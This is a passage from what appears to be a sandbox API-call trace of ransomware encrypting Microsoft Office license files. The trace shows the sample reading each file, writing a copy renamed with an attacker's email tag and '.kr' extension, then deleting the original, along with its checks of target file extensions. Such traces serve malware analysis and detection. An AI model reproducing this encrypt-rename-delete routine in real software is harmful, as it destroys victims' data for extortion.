lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0199.425] lstrlenW (lpString=".jpg") returned 4 [0199.425] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.425] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.425] lstrlenW (lpString="HomeStudentR_Trial2-ppd.xrm-ms") returned 30 [0199.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0199.426] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=21728) returned 1 [0199.426] CloseHandle (hObject=0x538) returned 1 [0199.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220 [0199.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0199.431] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.431] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0199.431] GetLastError () returned 0x0 [0199.432] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x54e0, lpOverlapped=0x0) returned 1 [0199.434] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x54f0, lpOverlapped=0x0) returned 1 [0199.436] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.436] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x110, lpOverlapped=0x0) returned 1 [0199.436] SetEndOfFile (hFile=0x3e8) returned 1 [0199.436] CloseHandle (hObject=0x3e8) returned 1 [0199.436] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.436] SetEndOfFile (hFile=0x538) returned 1 [0199.440] CloseHandle (hObject=0x538) returned 1 [0199.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1 [0199.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.441] lstrlenW (lpString=".doc") returned 4 [0199.441] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.441] lstrlenW (lpString=".docx") returned 5 [0199.442] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.442] lstrlenW (lpString=".pdf") returned 4 [0199.442] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.442] lstrlenW (lpString=".xls") returned 4 [0199.442] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.442] lstrlenW (lpString=".xlsx") returned 5 [0199.442] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.442] lstrlenW (lpString=".ppt") returned 4 [0199.442] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.442] lstrlenW (lpString=".zip") returned 4 [0199.442] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.442] lstrlenW (lpString=".rar") returned 4 [0199.442] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.442] lstrlenW (lpString=".bz2") returned 4 [0199.442] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.442] lstrlenW (lpString=".7z") returned 3 [0199.442] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.442] lstrlenW (lpString=".dbf") returned 4 [0199.442] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.442] lstrlenW (lpString=".1cd") returned 4 [0199.442] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.442] lstrlenW (lpString=".jpg") returned 4 [0199.442] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.443] lstrlenW (lpString=".doc") returned 4 [0199.443] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.443] lstrlenW (lpString=".docx") returned 5 [0199.443] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.443] lstrlenW (lpString=".pdf") returned 4 [0199.443] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.443] lstrlenW (lpString=".xls") returned 4 [0199.443] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.443] lstrlenW (lpString=".xlsx") returned 5 [0199.443] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.443] lstrlenW (lpString=".ppt") returned 4 [0199.443] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.443] lstrlenW (lpString=".zip") returned 4 [0199.443] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.443] lstrlenW (lpString=".rar") returned 4 [0199.443] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.443] lstrlenW (lpString=".bz2") returned 4 [0199.443] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.443] lstrlenW (lpString=".7z") returned 3 [0199.443] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.443] lstrlenW (lpString=".dbf") returned 4 [0199.443] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.443] lstrlenW (lpString=".1cd") returned 4 [0199.443] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0199.444] lstrlenW (lpString=".jpg") returned 4 [0199.444] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.444] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.444] lstrlenW (lpString="HomeStudentR_Trial2-ul-oob.xrm-ms") returned 33 [0199.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0199.444] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11620) returned 1 [0199.445] CloseHandle (hObject=0x538) returned 1 [0199.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220 [0199.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0199.445] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.445] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0199.446] GetLastError () returned 0x0 [0199.446] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d64, lpOverlapped=0x0) returned 1 [0199.484] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0199.485] ReadFile (in: hFile=0x538, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.485] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0199.485] SetEndOfFile (hFile=0x3e8) returned 1 [0199.486] CloseHandle (hObject=0x3e8) returned 1 [0199.486] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.486] SetEndOfFile (hFile=0x538) returned 1 [0199.490] CloseHandle (hObject=0x538) returned 1 [0199.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1 [0199.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.492] lstrlenW (lpString=".doc") returned 4 [0199.492] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.492] lstrlenW (lpString=".docx") returned 5 [0199.492] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.492] lstrlenW (lpString=".pdf") returned 4 [0199.492] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.492] lstrlenW (lpString=".xls") returned 4 [0199.492] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.492] lstrlenW (lpString=".xlsx") returned 5 [0199.492] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.492] lstrlenW (lpString=".ppt") returned 4 [0199.492] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.492] lstrlenW (lpString=".zip") returned 4 [0199.492] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.492] lstrlenW (lpString=".rar") returned 4 [0199.492] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.492] lstrlenW (lpString=".bz2") returned 4 [0199.492] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.492] lstrlenW (lpString=".7z") returned 3 [0199.492] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.492] lstrlenW (lpString=".dbf") returned 4 [0199.492] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.493] lstrlenW (lpString=".1cd") returned 4 [0199.493] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.493] lstrlenW (lpString=".jpg") returned 4 [0199.493] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.493] lstrlenW (lpString=".doc") returned 4 [0199.493] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.493] lstrlenW (lpString=".docx") returned 5 [0199.493] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.493] lstrlenW (lpString=".pdf") returned 4 [0199.493] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.493] lstrlenW (lpString=".xls") returned 4 [0199.493] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.493] lstrlenW (lpString=".xlsx") returned 5 [0199.493] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.493] lstrlenW (lpString=".ppt") returned 4 [0199.493] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.493] lstrlenW (lpString=".zip") returned 4 [0199.493] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.493] lstrlenW (lpString=".rar") returned 4 [0199.493] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.493] lstrlenW (lpString=".bz2") returned 4 [0199.493] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.493] lstrlenW (lpString=".7z") returned 3 [0199.493] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.494] lstrlenW (lpString=".dbf") returned 4 [0199.494] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.494] lstrlenW (lpString=".1cd") returned 4 [0199.494] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0199.494] lstrlenW (lpString=".jpg") returned 4 [0199.494] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.598] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.613] lstrlenW (lpString="MondoR_Grace-ul-oob.xrm-ms") returned 26 [0199.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.632] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11589) returned 1 [0199.633] CloseHandle (hObject=0x548) returned 1 [0199.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220 [0199.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.633] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.633] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0199.634] GetLastError () returned 0x0 [0199.634] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d45, lpOverlapped=0x0) returned 1 [0199.636] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0199.638] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.638] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x108, lpOverlapped=0x0) returned 1 [0199.638] SetEndOfFile (hFile=0x3f8) returned 1 [0199.638] CloseHandle (hObject=0x3f8) returned 1 [0199.639] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.640] SetEndOfFile (hFile=0x548) returned 1 [0199.643] CloseHandle (hObject=0x548) returned 1 [0199.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 1 [0199.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.645] lstrlenW (lpString=".doc") returned 4 [0199.645] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.645] lstrlenW (lpString=".docx") returned 5 [0199.645] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.645] lstrlenW (lpString=".pdf") returned 4 [0199.645] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.645] lstrlenW (lpString=".xls") returned 4 [0199.645] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.645] lstrlenW (lpString=".xlsx") returned 5 [0199.645] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.645] lstrlenW (lpString=".ppt") returned 4 [0199.645] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.645] lstrlenW (lpString=".zip") returned 4 [0199.645] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.645] lstrlenW (lpString=".rar") returned 4 [0199.645] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.645] lstrlenW (lpString=".bz2") returned 4 [0199.645] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.645] lstrlenW (lpString=".7z") returned 3 [0199.645] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.645] lstrlenW (lpString=".dbf") returned 4 [0199.645] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.646] lstrlenW (lpString=".1cd") returned 4 [0199.646] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.646] lstrlenW (lpString=".jpg") returned 4 [0199.646] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.646] lstrlenW (lpString=".doc") returned 4 [0199.646] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.646] lstrlenW (lpString=".docx") returned 5 [0199.646] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.646] lstrlenW (lpString=".pdf") returned 4 [0199.646] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.646] lstrlenW (lpString=".xls") returned 4 [0199.646] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.646] lstrlenW (lpString=".xlsx") returned 5 [0199.646] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.646] lstrlenW (lpString=".ppt") returned 4 [0199.646] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0199.646] lstrlenW (lpString=".zip") returned 4 [0199.646] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.646] lstrlenW (lpString=".rar") returned 4 [0199.647] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.647] lstrlenW (lpString=".bz2") returned 4 [0199.647] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.647] lstrlenW (lpString=".7z") returned 3 [0199.647] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") 